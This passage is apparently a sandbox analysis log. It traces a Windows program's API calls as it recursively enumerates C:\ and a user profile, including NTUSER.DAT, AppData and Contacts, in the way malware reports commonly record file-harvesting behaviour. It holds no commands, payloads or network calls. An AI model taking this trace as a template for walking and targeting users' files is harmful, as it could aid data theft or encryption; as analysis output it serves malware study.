| out: hFindFile=0x5d6c48) returned 0 [0087.998] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0087.998] FindClose (in: hFindFile=0x5d6788 | out: hFindFile=0x5d6788) returned 1 [0087.998] FindClose (in: hFindFile=0x5d6788 | out: hFindFile=0x5d6788) returned 0 [0087.998] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.998] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.999] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1 [0087.999] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1 [0087.999] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0087.999] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0087.999] lstrcatW (in: lpString1="C:\\", lpString2="System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0087.999] SetErrorMode (uMode=0x1) returned 0x1 [0087.999] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0087.999] lstrcatW (in: lpString1="C:\\System Volume Information", lpString2="\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\" [0087.999] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\System Volume Information\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\" [0087.999] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="*.*" | out: lpString1="C:\\System Volume Information\\*.*") returned="C:\\System Volume Information\\*.*" [0087.999] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0087.999] PathFindFileNameW (pszPath="C:\\System Volume Information") returned="System Volume Information" [0087.999] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="System Volume Information" | out: lpString1="System Volume Information") returned="System Volume Information" [0087.999] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0087.999] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0087.999] lstrcatW (in: lpString1="C:\\System Volume Information", lpString2="\\*.*" | out: lpString1="C:\\System Volume Information\\*.*") returned="C:\\System Volume Information\\*.*" [0087.999] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0087.999] PathFindFileNameW (pszPath="C:\\System Volume Information") returned="System Volume Information" [0087.999] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="System Volume Information" | out: lpString1="System Volume Information") returned="System Volume Information" [0087.999] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0087.999] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0087.999] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0087.999] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0087.999] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0087.999] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0087.999] lstrcatW (in: lpString1="C:\\", lpString2="Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0087.999] SetErrorMode (uMode=0x1) returned 0x1 [0087.999] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0087.999] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0087.999] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Users\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0087.999] lstrcatW (in: lpString1="C:\\Users\\", lpString2="*.*" | out: lpString1="C:\\Users\\*.*") returned="C:\\Users\\*.*" [0087.999] FindFirstFileW (in: lpFileName="C:\\Users\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6788 [0087.999] PathFindFileNameW (pszPath="C:\\Users") returned="Users" [0087.999] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Users" | out: lpString1="Users") returned="Users" [0087.999] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0088.000] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0088.000] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0088.000] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0088.000] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0088.000] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0088.000] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0088.000] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0088.000] lstrlenW (lpString="desktop.ini") returned 11 [0088.000] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0088.000] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0088.000] FindClose (in: hFindFile=0x5d6788 | out: hFindFile=0x5d6788) returned 1 [0088.000] FindClose (in: hFindFile=0x5d6788 | out: hFindFile=0x5d6788) returned 0 [0088.000] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0088.000] lstrcatW (in: lpString1="C:\\Users", lpString2="\\*.*" | out: lpString1="C:\\Users\\*.*") returned="C:\\Users\\*.*" [0088.000] FindFirstFileW (in: lpFileName="C:\\Users\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x5d6b08 [0088.000] PathFindFileNameW (pszPath="C:\\Users") returned="Users" [0088.000] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Users" | out: lpString1="Users") returned="Users" [0088.000] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0088.000] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.000] FindNextFileW (in: hFindFile=0x5d6b08, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0088.000] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.000] FindNextFileW (in: hFindFile=0x5d6b08, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0088.000] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0088.000] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0088.000] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0088.000] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0088.000] lstrcatW (in: lpString1="C:\\Users\\", lpString2="All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0088.000] SetErrorMode (uMode=0x1) returned 0x1 [0088.000] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0088.000] lstrcatW (in: lpString1="C:\\Users\\All Users", lpString2="\\" | out: lpString1="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0088.000] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\All Users\\" | out: lpString1="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0088.000] lstrcatW (in: lpString1="C:\\Users\\All Users\\", lpString2="*.*" | out: lpString1="C:\\Users\\All Users\\*.*") returned="C:\\Users\\All Users\\*.*" [0088.000] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x5d6c48 [0088.001] PathFindFileNameW (pszPath="C:\\Users\\All Users") returned="All Users" [0088.001] lstrcpyW (in: lpString1=0x2dca884, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0088.001] FindClose (in: hFindFile=0x5d6c48 | out: hFindFile=0x5d6c48) returned 1 [0088.001] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0088.001] lstrcatW (in: lpString1="C:\\Users\\All Users", lpString2="\\*.*" | out: lpString1="C:\\Users\\All Users\\*.*") returned="C:\\Users\\All Users\\*.*" [0088.001] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x5d6788 [0088.001] PathFindFileNameW (pszPath="C:\\Users\\All Users") returned="All Users" [0088.001] lstrcpyW (in: lpString1=0x2dca884, lpString2="All Users" | out: lpString1="All Users") returned="All Users" [0088.001] FindClose (in: hFindFile=0x5d6788 | out: hFindFile=0x5d6788) returned 1 [0088.001] FindNextFileW (in: hFindFile=0x5d6b08, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0088.001] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2="..") returned 1 [0088.001] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2=".") returned 1 [0088.001] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0088.001] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0088.001] lstrcatW (in: lpString1="C:\\Users\\", lpString2="CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0088.001] SetErrorMode (uMode=0x1) returned 0x1 [0088.001] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0088.001] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0088.001] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Users\\CIiHmnxMn6Ps\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0088.001] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\*.*" [0088.001] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x5d6a88 [0088.001] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0088.001] lstrcpyW (in: lpString1=0x2dca884, lpString2="CIiHmnxMn6Ps" | out: lpString1="CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0088.001] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0088.002] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0088.002] lstrlenW (lpString="ntuser.dat") returned 10 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2="..") returned 1 [0088.002] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2=".") returned 1 [0088.002] lstrlenW (lpString="ntuser.dat") returned 10 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2="..") returned 1 [0088.002] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2=".") returned 1 [0088.002] lstrlenW (lpString="ntuser.dat") returned 10 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="..") returned 1 [0088.002] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2=".") returned 1 [0088.002] lstrlenW (lpString="ntuser.dat") returned 10 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0088.002] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0088.002] lstrlenW (lpString="ntuser.dat") returned 10 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0088.002] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0088.002] lstrlenW (lpString="ntuser.dat") returned 10 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] lstrcmpW (lpString1="ntuser.ini", lpString2="..") returned 1 [0088.002] lstrcmpW (lpString1="ntuser.ini", lpString2=".") returned 1 [0088.002] lstrlenW (lpString="ntuser.ini") returned 10 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.002] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0088.003] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 1 [0088.003] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 0 [0088.003] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0088.003] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\*.*" [0088.003] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x5d6788 [0088.003] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0088.003] lstrcpyW (in: lpString1=0x2dca884, lpString2="CIiHmnxMn6Ps" | out: lpString1="CIiHmnxMn6Ps") returned="CIiHmnxMn6Ps" [0088.003] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0088.003] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0088.003] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.003] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0088.003] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.003] lstrcmpW (lpString1="AppData", lpString2="..") returned 1 [0088.003] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 [0088.003] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0088.003] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0088.003] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0088.003] SetErrorMode (uMode=0x1) returned 0x1 [0088.003] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0088.003] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" [0088.003] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\" [0088.003] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*" [0088.003] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x5d6c48 [0088.003] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="AppData" [0088.003] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0088.003] FindClose (in: hFindFile=0x5d6c48 | out: hFindFile=0x5d6c48) returned 1 [0088.004] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData" [0088.004] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*" [0088.004] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x5d6a88 [0088.004] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData") returned="AppData" [0088.004] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="AppData" | out: lpString1="AppData") returned="AppData" [0088.004] FindClose (in: hFindFile=0x5d6a88 | out: hFindFile=0x5d6a88) returned 1 [0088.004] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.004] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0088.004] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0088.004] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0088.004] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0088.004] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0088.004] SetErrorMode (uMode=0x1) returned 0x1 [0088.004] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0088.004] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" [0088.004] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\" [0088.004] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*" [0088.004] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0088.004] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="Application Data" [0088.004] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0088.004] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0088.004] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Application Data" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data" [0088.004] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*" [0088.004] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Application Data\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0088.004] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Application Data") returned="Application Data" [0088.004] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0088.004] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0088.004] FindNextFileW (in: hFindFile=0x5d6788, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0088.004] lstrcmpW (lpString1="Contacts", lpString2="..") returned 1 [0088.004] lstrcmpW (lpString1="Contacts", lpString2=".") returned 1 [0088.004] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0088.004] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0088.004] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0088.005] SetErrorMode (uMode=0x1) returned 0x1 [0088.005] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts" [0088.005] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0088.005] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\" [0088.005] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*" [0088.005] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Contacts\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x5d6a88 [0088.005] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Contacts") returned="Contacts" [0088.005] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Contacts" | out: lpString1="Contacts") returned="Contacts" [0088.005] FindNextFileW 